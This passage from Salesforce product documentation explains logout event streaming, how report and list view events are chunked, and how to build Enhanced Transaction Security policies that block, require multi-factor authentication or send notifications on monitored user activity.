When LogoutEventStream is enabled, Salesforce publishes logout events when users log out from the UI. You can add an Apex trigger to subscribe to those events. You can then implement custom logic during logout. For example, you can revoke all refresh tokens for a user at logout.

Timeouts don't cause a LogoutEventStream object to be published. An exception is when a user is automatically logged out of the org after their session times out because the org has the **Force logout on session timeout** setting enabled. In this case, a logout event is
recorded. However, if users close their browser during a session, regardless of whether the Force logout on session timeout setting is enabled, a logout event isn’t recorded.

1. From Setup, enter Event Manager in the Quick Find box, then select Event Manager.
2. Next to Logout Event, click the dropdown, and select Enable Streaming.
3. Create Apex triggers that subscribe to logout events.

Example: In this example, the subscriber inserts a custom logout event record during logout.

```apex
trigger LogoutEventTrigger on LogoutEventStream (after insert) {
    LogoutEventStream event = Trigger.new[0];
    LogoutEvent__c record = new LogoutEvent__c();
    record.EventIdentifier__c = event.EventIdentifier;
    record.UserId__c = event.UserId;
    record.Username__c = event.Username;
    record.EventDate__c = event.EventDate;
    record.RelatedEventIdentifier__c = event.RelatedEventIdentifier;
    record.SessionKey__c = event.SessionKey;
    record.LoginKey__c = event.LoginKey;
    insert(record);
}
```

How Chunking Works with ReportEvent and ListViewEvent

Chunking occurs when a report or list view execution returns many records and Salesforce splits the returned data into chunks.

Tip: This topic applies to ReportEvent, ReportEventStream, ListViewEvent, and ListViewEventStream. However, for readability, we refer to just ReportEvent and ListViewEvent.

When Salesforce chunks a ReportEvent or ListViewEvent (and their streaming equivalents), it breaks it into multiple events in which most field values are repeated. The exceptions are the Records, Sequence, and EventIdentifier fields. You view all the data from a chunked result by correlating these fields with the ExecutionIdentifier field, which is unique across the chunks.

Important: When a report executes, we provide the first 1000 events with data in the Records field. Use the ReportId field to view the full report.

Let’s describe in more detail the fields of ReportEvent and ListViewEvent (and their storage equivalents) that you use to link together the chunks.

- **Records**—A JSON string that represents the report or list view data. If Salesforce has chunked the data into multiple events, each event’s Records field contains different data.
- **Sequence**—An incremental sequence number that indicates the order of multiple events that result from chunking, starting with 1. For example, if Salesforce breaks up an event into five chunks, the first chunk’s Sequence field is 1, the second is 2, and so on up to 5.
- **ExecutionIdentifier**—A unique identifier for a particular report or list view execution. This identifier differentiates the report or list execution from other executions. If chunking has occurred, this field value is identical across the chunks, and you can use it to link the chunks together to provide a complete data picture.
EventIdentifier—A unique identifier for each event, including chunked events.

To view all the data chunks from a single report or list view execution, use the Sequence, Records, and ExecutionIdentifier fields in combination.

For example, let’s say a report execution returns 10K rows. Salesforce splits this data into three chunks based on the size of the records, and then creates three separate ReportEvent events. This table shows an example of the field values in the three events; the fields not shown in the table (except EventIdentifier) have identical values across the three events.

This sample SOQL query returns data similar to the preceding table.

```
SELECT ExecutionIdentifier, Sequence, Records FROM ReportEvent
```

### How Transaction Security Works With Chunking

If a chunked event triggers a transaction security policy, Salesforce executes the policy on only the first chunk. The PolicyId, PolicyOutcome, and EvaluationTime field values are repeated in all the chunked events. These tables show different policy actions and execution outcomes and their resulting events, some of which are chunked.

This event results from a triggered policy that had a block action.

<table>
<thead>
<tr>
<th>ExecutionIdentifier (value shortened for readability)</th>
<th>Sequence</th>
<th>Records</th>
<th>PolicyId (value shortened for readability)</th>
<th>PolicyOutcome</th>
<th>EvaluationTime</th>
</tr>
</thead>
<tbody>
<tr>
<td>a50a4025-84f2-425d-8af9-2c780869f3b5</td>
<td>0</td>
<td>0</td>
<td>0Nlxx...GA2</td>
<td>Block</td>
<td>30</td>
</tr>
</tbody>
</table>

These events result from a triggered policy that has a multi-factor authentication (MFA) action. The first three rows show the multi-factor authentication in process, and the last three rows show the chunked events.

**Note:** Multi-factor authentication was previously called two-factor authentication. Some MFA-related values reference “TwoFa”.

<table>
<thead>
<tr>
<th>ExecutionIdentifier (value shortened for readability)</th>
<th>Sequence</th>
<th>Records</th>
<th>PolicyId (value shortened for readability)</th>
<th>PolicyOutcome</th>
<th>EvaluationTime</th>
</tr>
</thead>
<tbody>
<tr>
<td>a50a4025-84f2-425d-8af9-2c780869f3b5</td>
<td>0</td>
<td>0</td>
<td>0Nlxx...GA2</td>
<td>TwoFaInitiated</td>
<td>30</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ExecutionIdentifier (value shortened for readability)</th>
<th>Sequence</th>
<th>Records</th>
<th>PolicyId (value shortened for readability)</th>
<th>PolicyOutcome</th>
<th>EvaluationTime</th>
</tr>
</thead>
<tbody>
<tr>
<td>a50a4025-84f2-425d-8af9-2c780869f3b5</td>
<td>0</td>
<td>0</td>
<td>0Nlxx...GA2</td>
<td>TwoFaInProgress</td>
<td>30</td>
</tr>
<tr>
<td>ExecutionIdentifier</td>
<td>Sequence</td>
<td>Records</td>
<td>PolicyId (value shortened for readability)</td>
<td>PolicyOutcome</td>
<td>EditDate</td>
</tr>
<tr>
<td>---------------------</td>
<td>----------</td>
<td>---------</td>
<td>------------------------------------------</td>
<td>---------------</td>
<td>----------</td>
</tr>
<tr>
<td>e-5914976709c4</td>
<td>2</td>
<td>{&quot;totalSize&quot;:3000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>TwoFaSucceed</td>
<td></td>
</tr>
<tr>
<td>e-5914976709c4</td>
<td>3</td>
<td>{&quot;totalSize&quot;:4000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>TwoFaSucceed</td>
<td></td>
</tr>
<tr>
<td>e-5914976709c4</td>
<td>4</td>
<td>{&quot;totalSize&quot;:3000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>TwoFaSucceed</td>
<td></td>
</tr>
</tbody>
</table>

These events result from a policy that has a block action but the event didn’t meet the condition criteria. As a result, the PolicyOutcome field is NoAction.

<table>
<thead>
<tr>
<th>ExecutionIdentifier</th>
<th>Sequence</th>
<th>Records</th>
<th>PolicyId (value shortened for readability)</th>
<th>PolicyOutcome</th>
<th>EditDate</th>
</tr>
</thead>
<tbody>
<tr>
<td>9-2c78086f93b5</td>
<td>1</td>
<td>{&quot;totalSize&quot;:3000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>NoAction</td>
<td></td>
</tr>
<tr>
<td>9-2c78086f93b5</td>
<td>2</td>
<td>{&quot;totalSize&quot;:3000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>NoAction</td>
<td></td>
</tr>
<tr>
<td>9-2c78086f93b5</td>
<td>3</td>
<td>{&quot;totalSize&quot;:4000, &quot;rows&quot;:[]}</td>
<td>ONox...GA2</td>
<td>NoAction</td>
<td></td>
</tr>
</tbody>
</table>

These events result from a policy that has a multi-factor authentication action but the policy wasn’t triggered and so the action didn’t occur. The policy didn’t trigger because the user already had a high assurance session level.
Enhanced Transaction Security

Enhanced Transaction Security is a framework that intercepts real-time events and applies appropriate actions to monitor and control user activity. Each transaction security policy has conditions that evaluate events and the real-time actions that are triggered after those conditions are met. The actions are Block, Multi-Factor Authentication, and Notifications. Before you build your policies, understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in Real-Time Event Monitoring.

Condition Builder vs. Apex

Condition Builder is a Setup feature that allows you to build policies with clicks, not code. Policies monitor events, which are categories of user activity built on objects in the SOAP, REST, and Bulk APIs. When you build your policy using Condition Builder, you choose which fields on these objects you want to monitor for customer activity. Because your policy’s actions are conditional to the fields that users interact with, these fields are called conditions. When you create a policy, you choose the conditions you want your policy to monitor and the action the policy takes when the conditions are met. The conditions available in Condition Builder are a subset of all the event objects fields and vary based on the objects.

If you create an Apex-based policy, you can use any of the event object’s fields. For example, Records isn’t available as a Condition Builder condition for the ReportEvent event object. But you can use the ReportEvent.Records field in an Apex class that implements the TxnSecurity.EventCondition interface. Visit the API Object Reference to view event object fields.

Conditions at a Glance

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>API Type, API Version, Application, Client, Elapsed Time, Operation, Platform, Queried Entities, Query, Rows Processed, Session Level, Source IP, User Agent, User ID, Username</td>
<td>Block, Notifications</td>
</tr>
<tr>
<td>ApiAnomalyEventStore</td>
<td>User, Username, SourcedIp, Score, QueriedEntities, Operation, RowsProcessed, UserAgent</td>
<td>Notifications</td>
</tr>
<tr>
<td>BulkApiResultEventStore</td>
<td>Query, SessionLevel, SourcedIp, UserId, Username</td>
<td>Block, Notifications</td>
</tr>
<tr>
<td>CredentialStuffingEventStore</td>
<td>AcceptLanguage, LoginUrl, Score, SourcedIp, UserAgent, UserId, Username</td>
<td>Notifications</td>
</tr>
</tbody>
</table>
### Enhanced Transaction Security Policies

You can create transaction security policies on these Real-Time Event Monitoring events.

### Enhanced Transaction Security Actions and Notifications

When a real-time event triggers a transaction security policy, you can block a user or enforce multi-factor authentication (MFA). You can also optionally receive in-app or email notifications of the event.

### Build a Transaction Security Policy with Condition Builder

Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives you a declarative way to create customized security policies to protect your data.

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ListViewEvent</td>
<td>Application Name, Developer Name, Event Source, List View ID, Name, Name of Columns, Number of Columns, Order By, Owner ID, Queried Entities, Rows Processed, Scope, Session Level, Source IP, User ID, Username</td>
<td>Block, Notifications, Multi-Factor Authentication (for UI logins)</td>
</tr>
<tr>
<td></td>
<td>Multi-factor authentication isn’t supported for list views in Lightning pages, so the action is upgraded to Block.</td>
<td></td>
</tr>
<tr>
<td>LoginEvent</td>
<td>API Type, API Version, Application, Authentication Method Reference, Browser, Country, Login Subtype, Login Type, Login URL, Platform, Session Level, Source IP, TLS Protocol, User ID, User Type, Username</td>
<td>Block, Notifications, Multi-Factor Authentication (for UI logins)</td>
</tr>
<tr>
<td>PermissionSetEventStore</td>
<td>Event Source, Operation, Permission Type, User Count, User ID, Username</td>
<td>Block, Notifications</td>
</tr>
<tr>
<td>PermissionSetEventStore</td>
<td>Event Source, Operation, Permission Type, User Count, User ID, Username</td>
<td>Block, Notifications</td>
</tr>
<tr>
<td>ReportAnomalyEventStore</td>
<td>Report, Score, SourceIp, Userld, Username</td>
<td>Notifications</td>
</tr>
<tr>
<td>ReportEvent</td>
<td>Dashboard ID, Dashboard Name, Description, Event Source, Format, Is Scheduled, Name, Name of Columns, Number of Columns, Operation, Owner ID, Queried Entities, Report ID, Rows Processed, Scope, Session Level, Source IP, User ID, Username</td>
<td>Block, Notifications, Multi-Factor Authentication (for UI logins)</td>
</tr>
<tr>
<td>SessionHijackingEventStore</td>
<td>CurrentUserAgent, CurrentIp, CurrentPlatform, CurrentScreen, CurrentWindow, PreviousUserAgent, PreviousIp, PreviousPlatform, PreviousScreen, PreviousWindow, Score, SourceIp, Userld, Username</td>
<td>Notifications</td>
</tr>
</tbody>
</table>
Create an Enhanced Transaction Security Policy That Uses Apex

Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an empty class that you then code. The Apex class must implement the `TxnSecurity.EventCondition` interface.

Best Practices for Writing and Maintaining Enhanced Transaction Security Policies

Transaction security policy management isn’t always easy, especially when you have many policies. To make sure that your policies remain functional, write and maintain them using these best practices. Well-structured and tested policies keep your employees and customers connected, productive, and secure.

Enhanced Transaction Security Metering

Transaction Security uses resource metering to help prevent malicious or unintentional monopolization of shared, multi-tenant platform resources. Metering prevents transaction security policy evaluations from using too many resources and adversely affecting your Salesforce org.

Exempt Users from Transaction Security Policies

If you have transaction security policies that work well for most users, but not all, you can assign specific users the Exempt from Transaction Security user permission. Assign this permission only when business-critical actions are regularly blocked by transaction security policy metering. For example, assign it to users who make bulk or automated bulk API calls. You can assign this user permission to integration users or admins responsible for transaction security policies who you don’t want to get blocked.

Test and Troubleshoot Your New Enhanced Policy

If your enhanced transaction security policy isn’t behaving as you expect, check out these testing and troubleshooting tips to diagnose the problem.

Types of Enhanced Transaction Security Policies

You can create transaction security policies on these Real-Time Event Monitoring events.

IN THIS SECTION:

- **ApiEvent Policies**
  API events monitor API transactions, such as SOQL queries and data exports.

- **ApiAnomalyEventStore Policies**
  API anomaly event policies monitor anomalies in how users make API calls.

- **BulkApiResultEventStore Policies**
  Bulk API Result Event policies detect when a user downloads the results of a Bulk API request.

- **CredentialStuffingEventStore Policies**
  Credential stuffing event policies monitor when a user successfully logs into Salesforce during an identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests using stolen user credentials.

- **FileEvent Policies**
  File event policies detect file-related events, such as when a user downloads a file containing sensitive information.

- **ListViewEvent Policies**
  List View event policies monitor when data is viewed or downloaded from your list views using Salesforce Classic, Lightning Experience, or the API.

- **LoginEvent Policies**
  Login event policies track login activity and enforce your login requirements.
PermissionSetEventStore Policies
Permission set event policies monitor when users are assigned critical permissions in a permission set.

ReportEvent Policies
Report event policies monitor when data is viewed or downloaded from your reports.

ReportAnomalyEventStore Policies
Report anomaly event policies monitor anomalies in how users run or export reports.

SessionHijackingEventStore Policies
Session hijacking event policies monitor when unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier.

ApiEvent Policies
API events monitor API transactions, such as SOQL queries and data exports.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>API Type, API Version, Application, Client, Elapsed Time, Operation, Platform, Queried Entities, Query, Rows Processed, Session Level, Source IP, User Agent, User ID, Username</td>
<td>Block, Notifications</td>
<td>Multi-factor authentication isn’t supported.</td>
</tr>
</tbody>
</table>

What You Can Do With It
You can monitor user behaviors taken through the API on a granular level. Create a policy that can:

- Block access to particular versions of the API from specific platforms
- Notify you when users run queries that return many rows

Considerations for ApiEvent Policies

- The supported SOAP, REST, Bulk API, and Bulk API 2.0 calls are `query()`, `query_more()`, and `query_all()`. Transaction Security supports only `query()`. API calls made from Visualforce (via an Apex controller) or XMLRPC aren’t supported in ApiEvent and ApiEventStream.
- For Bulk API and Bulk API 2.0 queries, expect blank values for `LoginHistoryId`, `Client`, and `UserAgent` in ApiEvent. These queries are asynchronous and executed by a background job.
ApiAnomalyEventStore Policies

API anomaly event policies monitor anomalies in how users make API calls.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiAnomalyEventStore</td>
<td>User, Username, SourceIp, Score, QueriedEntities, Operation, RowsProcessed, UserAgent</td>
<td>Notifications</td>
</tr>
</tbody>
</table>

What You Can Do With It

Create a policy that can:

- Send you an email when Salesforce detects that a user has made more API calls than usual.
- Generate an in-app notification when Salesforce detects an API anomaly event with a score greater than 0.5.

BulkApiResultEventStore Policies

Bulk API Result Event policies detect when a user downloads the results of a Bulk API request.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>BulkApiResultEventStore</td>
<td>Query, SessionLevel, SourceIp, UserId, Username</td>
<td>Block, Notifications</td>
</tr>
</tbody>
</table>

What You Can Do With It

Create a policy that can:

- Send you an email when Salesforce detects that a user has attempted to download the results of a Bulk API request
CredentialStuffingEventStore Policies

Credential stuffing event policies monitor when a user successfully logs into Salesforce during an identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests using stolen user credentials.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>CredentialStuffingEventStore</td>
<td>AcceptLanguage, LoginUrl, Score, SourceIp, UserAgent, UserId, Username</td>
<td>Notifications</td>
</tr>
</tbody>
</table>

What You Can Do with It

Create a policy that can:

- Send you an email when Salesforce detects that a user from a specific IP address successfully logged into your org during a credential stuffing attack.
- Generate an in-app notification when Salesforce detects a login from a specific page, such as login.salesforce.com or MyDomainName.my.salesforce.com, during a credential stuffing attack.

FileEvent Policies

File event policies detect file-related events, such as when a user downloads a file containing sensitive information.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
</table>

What You Can Do with It

Create a policy that can:

- Notify administrators when a user attempts to preview a specific file.
List View Event Policies

List View event policies monitor when data is viewed or downloaded from your list views using Salesforce Classic, Lightning Experience, or the API.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ListViewEvent</td>
<td>Application Name, Developer Name, Event Source, List View ID, Name, Name of Columns, Number of Columns, Order By, Owner ID, Queried Entities, Rows Processed, Scope, Session Level, Source IP, User ID, Username</td>
<td>Block, Notifications, Multi-Factor Authentication (for UI logins)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Multi-factor authentication isn’t supported for list views in Lightning pages, so the action is upgraded to Block.</td>
</tr>
</tbody>
</table>

What You Can Do With It

Create a policy that can:

- Block a user who tries to access a list view of sensitive patent data
- Notify you if a user exports more than 5,000 rows from a list view in your org

Note: The values captured by transaction security policies are unique API names that can be retrieved by performing REST API Describe calls on the object. When creating a ListViewEvent policy, make sure that the values you want the conditions to check for are unique API names and not display labels. For example, a “Name of Column” condition checks for values that match the metadata information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the REST API Developer Guide for more information.

Login Event Policies

Login event policies track login activity and enforce your login requirements.
Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
</table>
| LoginEvent  | API Type, API Version, Application, Authentication Method Reference, Browser, Country, Login Subtype, Login Type, Login URL, Platform, Session Level, Source IP, TLS Protocol, User ID, User Type, Username | Block, Notifications, Multi-Factor Authentication (for UI logins) | • UI logins with username and password, SAML single sign-on logins, and API-based logins (OAuth, REST, SOAP) are captured.  
• Multi-factor authentication isn’t supported for Lightning Login (passwordless login) users or for API-based logins. For API-based logins, the action is upgraded to Block.  
• LoginEvent policies aren’t triggered by invalid login attempts such as incorrect passwords. |

What You Can Do With It
You can target specific login behaviors that reduce performance or pose a security risk. Create a policy that can:

• Block users who log in from certain locations
• Require multi-factor authentication for users logging in from unsupported browsers
• Monitor logins from specific applications

How Does LoginEvent Compare to Login Log Lines and Login History?

<table>
<thead>
<tr>
<th>Feature</th>
<th>LoginEvent (Login Forensics)</th>
<th>Login Log Lines</th>
<th>Login History</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standard Object or File</td>
<td>LoginEvent</td>
<td>EventLogFile (Login event type)</td>
<td>LoginHistory</td>
</tr>
<tr>
<td>Data Duration Until Deleted</td>
<td>6 months</td>
<td>30 days</td>
<td>6 months</td>
</tr>
<tr>
<td>Access</td>
<td>API</td>
<td>API download, Event Monitoring Analytics app</td>
<td>Setup UI, API</td>
</tr>
<tr>
<td>Permissions</td>
<td>View Real-Time Event Monitoring Data</td>
<td>View Event Log Files</td>
<td>Manage Users</td>
</tr>
<tr>
<td>Extensibility</td>
<td>Yes, using the AdditionalInfo field</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Availability</td>
<td>Included with Event Monitoring add-on or Real-Time Event Monitoring</td>
<td>Included with Event Monitoring add-on</td>
<td>Included with all orgs</td>
</tr>
</tbody>
</table>
PermissionSetEventStore Policies

Permission set event policies monitor when users are assigned critical permissions in a permission set.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>PermissionSetEventStore</td>
<td>Event Source, Operation, Permission Type, User Count, User ID, Username</td>
<td>Block, Notifications</td>
</tr>
</tbody>
</table>

What You Can Do with It

Create a policy that can:

- Prevent users from being assigned the following permissions in a permission set:
  - Assign Permission Sets
  - Author Apex
  - Customize Application
  - Manage Encryption Keys
  - Manage Internal Users
  - Manage Password Policies
  - Manage Profiles and Permission Sets
  - Manage Roles
  - Manage Sharing
  - Manage Users
  - Modify All Data
  - Multi-Factor Authentication for User Interface Logins
  - Password Never Expires
  - Reset User Passwords and Unlock Users
  - View All Data
ReportEvent Policies

Report event policies monitor when data is viewed or downloaded from your reports.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
<th>Considerations</th>
</tr>
</thead>
</table>
| ReportEvent| Dashboard ID, Dashboard Name, Description, Event Source, Format, Is Scheduled, Name, Name of Columns, Number of Columns, Operation, Owner ID, Queried Entities, Report ID, Rows Processed, Scope, Session Level, Source IP, User ID, Username | Block, Notifications, Multi-Factor Authentication (for UI logins) | Multi-factor authentication (MFA) policies apply to the following UI-based report actions:  
  - Printable View  
  - Report Export  
  - Report Run (in Salesforce Classic only)  
  Multi-factor authentication isn’t supported for reports in Lightning pages, so the action is upgraded to Block. |

What You Can Do with It

Create a policy that can:

- Require multi-factor authentication for all users accessing or downloading reports over a specific size. For maximum coverage, write a policy that notifies you and blocks access to reports that process more than a certain number of rows.
- Block downloads for specific user IDs, report IDs, and dashboard IDs.

Note: The values captured by transaction security policies are unique API names, which can be retrieved by performing REST API Describe calls on the object. When creating a ReportEvent policy, make sure that the values you want the conditions to check for are unique API names, not display labels. For example, a “Name of Column” condition checks for values that match the metadata information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the Salesforce Report and Dashboard REST API Developer Guide for more information.
ReportAnomalyEventStore Policies

Report anomaly event policies monitor anomalies in how users run or export reports.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>ReportAnomalyEventStore</td>
<td>Report, Score, SourceIp, UserId, Username</td>
<td>Notifications</td>
</tr>
</tbody>
</table>

What You Can Do with It

Create a policy that can:

- Send you an email when Salesforce detects that a user has exported more records than usual from a report on Leads.
- Generate an in-app notification when Salesforce detects a report anomaly event with a score greater than 90.

SessionHijackingEventStore Policies

Session hijacking event policies monitor when unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier.

Policy at a Glance

<table>
<thead>
<tr>
<th>Object</th>
<th>Conditions Available in Condition Builder</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>SessionHijackingEventStore</td>
<td>CurrentUserAgent, CurrentIp, CurrentPlatform, CurrentScreen, CurrentWindow, PreviousUserAgent, PreviousIp, PreviousPlatform, PreviousScreen, PreviousWindow, Score, SourceIp, UserId, Username</td>
<td>Notifications</td>
</tr>
</tbody>
</table>

What You Can Do with It

Create a policy that can:

- Generate an in-app notification when Salesforce detects a session hijacking attack on your org with a score greater than 10.
- Send you an email when Salesforce detects a session hijacking attack from a specific IP address.
Enhanced Transaction Security Actions and Notifications

When a real-time event triggers a transaction security policy, you can block a user or enforce multi-factor authentication (MFA). You can also optionally receive in-app or email notifications of the event.

Block

Don’t let the user complete the request. For example, if a ReportEvent policy with a block action triggers during a report view, the user sees a message explaining the action. You can also customize the block message when you create your policy. Each custom message can be up to 1000 characters, and you can only customize messages for ApiEvent, ListViewEvent, and ReportEvent policies. Custom block messages aren’t translated.

Multi-Factor Authentication

Prompt the user to confirm their identity with an additional verification method, such as the Salesforce Authenticator app, when they log in. In situations where you can’t use multi-factor authentication (for instance, during an API query), this action changes to a block action.
Email Notifications

You can send two kinds of email notifications when a policy is triggered: default email messages and custom email messages. Both use the subject Transaction Security Alert.

Default email notifications contain the policy that was triggered, the event or events that triggered it, the policy’s ID, and related event fields. The times listed indicate when the policy was triggered in the recipient’s locale and time zone. For example, a policy is triggered at 6:46 AM Eastern Standard Time. The administrator who receives the notification is in the Pacific Standard Time zone, so the time shows as PST. Here’s an example.

From: Transaction Security <noreply@salesforce.com>
To: Admin@company.com
Sent: Wednesday, September 4, 2021, 10:00 AM
Subject: Transaction Security Alert

One of your transaction security policies was triggered.

Policy Name:
Restrict Views of the My Confidential Report

ID:
0NIRM000000dV
Event responsible for triggering this policy:
ReportEvent associated with user lisa.johnson@company.com at 7/21/2021 06:46:11 AM PST

For more context about this event, refer to these event fields:
Org ID: 00DLA0000003YjP
User ID: 005IL000001ZqMb

Custom email notifications let you write your own email content and include event-specific field data of your choosing. To populate your message with field-level event data, use the lookup field. Salesforce recommends that you include only event information that the recipient is authorized to view. Custom email notifications aren't translated.

In-App Notifications

In-app notifications list the policy that was triggered. Notifications aren't available in Classic. Here's an example.

Example:

Transaction Security Alert:
Policy Restrict Views of the My Confidential Report was triggered.

16 minutes ago
Build a Transaction Security Policy with Condition Builder

Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives you a declarative way to create customized security policies to protect your data.

You can create multiple policies for the same type of event, but we recommend that your policies and their actions don’t overlap. If multiple policies with the same action for a given event execute when the event occurs, their order of execution is indeterminate.

1. From Setup, in the Quick Find box, enter Transaction Security, and then select Transaction Security Policies.

2. Click New, and then select Condition Builder.

3. Click Next.

4. Select an event that your policy is built on.
   For example, if you want to track API calls in your org, select API Event. If you want to monitor when users view or export reports, select Report Event. See Enhanced Transaction Security for the full list of available events.

5. Select your condition logic. The logic applies to the conditions that you create in the next step.
   You can specify whether all conditions must be met for the policy to trigger an action, or any condition.
   Select Custom Condition Logic Is Met if you want to specify more complex logic. Use parentheses and logical operators (AND, OR, and NOT) to build the logical statements. Use numbers to represent each condition, such as 1 for the first condition and 2 for the second condition. For example, if you want the policy to trigger if the first condition and either the second or third conditions are met, enter 1 AND (2 OR 3).

6. Select your conditions.
   Each condition has three parts:
   • The event condition you want to monitor. The available conditions depend on the event you selected earlier. For example, you can monitor the number of rows that a user viewed in a report using the Rows Processed condition of Report Event. To monitor Salesforce entities that API calls query, use the Queried Entities condition of API Event. To monitor the IP addresses from which a user logged in, use the Source IP condition of Login Event.
   • An operator, such as Greater Than or Starts With or Contains.
   • A value that determines whether the condition is true or false. For example, if you specified the Rows Processed condition to monitor when users viewed more than 2,000 rows in a report, enter 2000. If you specified the Queried Entities condition to
monitor API calls against leads, enter `Lead`. If you specified the `Source IP` condition to monitor user logins from a specific IP address, enter the actual IP address, such as `192.0.2.255`.

Tip: Conditions map to fields of the event storage objects, such as `ApiEvent.RowsProcessed` or `LoginEvent.SourceIP`. See the API documentation for possible values and examples for each field that shows up as a condition in Condition Builder.

This example shows a policy that monitors API calls. The actions trigger if an API call queries the Lead object and either the number of rows processed is greater than 2000 or the request took longer than 1000 milliseconds to complete. See Condition Builder Examples for more examples.

7. Click Next.

8. Select what the policy does when triggered.

The actions available vary depending on the event type. For more information, see Enhanced Transaction Security Actions and Notifications

Note: The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for any events. Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API user.

9. Select who is notified and how.

10. Enter a name and description for your policy.

Your policy name can contain only underscores and alphanumeric characters and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

11. Optionally, enable the policy.

12. Click Finish.

Your policy is added to the list of available policies. When you enable Transaction Security policies for an event, some transaction run times related to that event can increase.

Important: If you customize a Condition Builder policy with the API, you must include the Flow ID (for flow API), EventName, and Type of CustomConditionBuilderPolicy to save your policy.
IN THIS SECTION:

Condition Builder Examples
Use these examples to help you convert your own real-world use cases into Condition Builder conditions.

Condition Builder Examples
Use these examples to help you convert your own real-world use cases into Condition Builder conditions.

Track Report Executions
Description of Example: Track when a user views or exports more than 2,000 rows from any report on the Lead object.

- **Event:** Report Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:**
  - Rows Processed Greater Than 2,000
  - Queried Entities Contains Lead
- **Notes:** Use the Contains operator, rather than Equals, to also include reports that are based on multiple objects, one of which is Lead.

Description of Example: Track when a user views or exports a report that has a column that contains email addresses.

- **Event:** Report Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:**
  - Name of Columns Contains Email
- **Notes:** Use the Contains operator to include any of these column names: Email, Customer Email, or Email of Customer.
Track User Logins

**Description of Example:** Track when a user logs in from the IP address 12.34.56.78.

- **Event:** Login Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:** Source IP Equals 12.34.56.78
- **Notes:** Only the specific IP address 12.34.56.78 triggers the policy. If you want to track logins from any IP addresses that start with 12.34.56, use the condition **Source IP Starts With 12.34.56**.

**Description of Example:** Track when a user logs in using a Chrome browser.

- **Event:** Login Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:** Browser Contains Chrome
- **Notes:** You can also track logins from the Safari and Firefox browsers.

Track API Queries and Elapsed Time

**Description of Example:** Track when a user uses any API to query the Lead object and the request takes longer than 1,000 milliseconds.

- **Event:** API Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:**
  - Queried Entities Contains Lead
  - Elapsed Time Greater Than 1000
- **Notes:** Use the **Contains** operator, rather than **Equals**, to also include queries on multiple objects, of which one is Lead.
Track API Queries of Any List View

**Description of Example:** Track when a user uses any API to query any list view.

- **Event:** List View Event
- **Condition Logic:** All Conditions Are Met
- **Conditions:** Event Source Equals API
- **Notes:** To track when a user uses the UI to query a list view specify Classic or Lightning instead of API.

---

Track User's Session Level Security

**Description of Example:** Track when a user who doesn’t have high assurance session-level security access (not logged in with two-factor authentication) queries any list view.

- **Event:** List View Event
- **Condition Logic:** Any Condition Is Met
- **Conditions:**
  - Session Level Equals LOW
  - Session Level Equals STANDARD
- **Notes:** Track when a user without high assurance executes a report (Report Event) or an API query (API Event) using the same condition in separate transaction security policies.

---

Block File Download

**Description of Example:** Detect and block a user from downloading a specific file.

- **Event:** File Event
- **Condition Logic:** Any Condition Is Met
- **Conditions:**
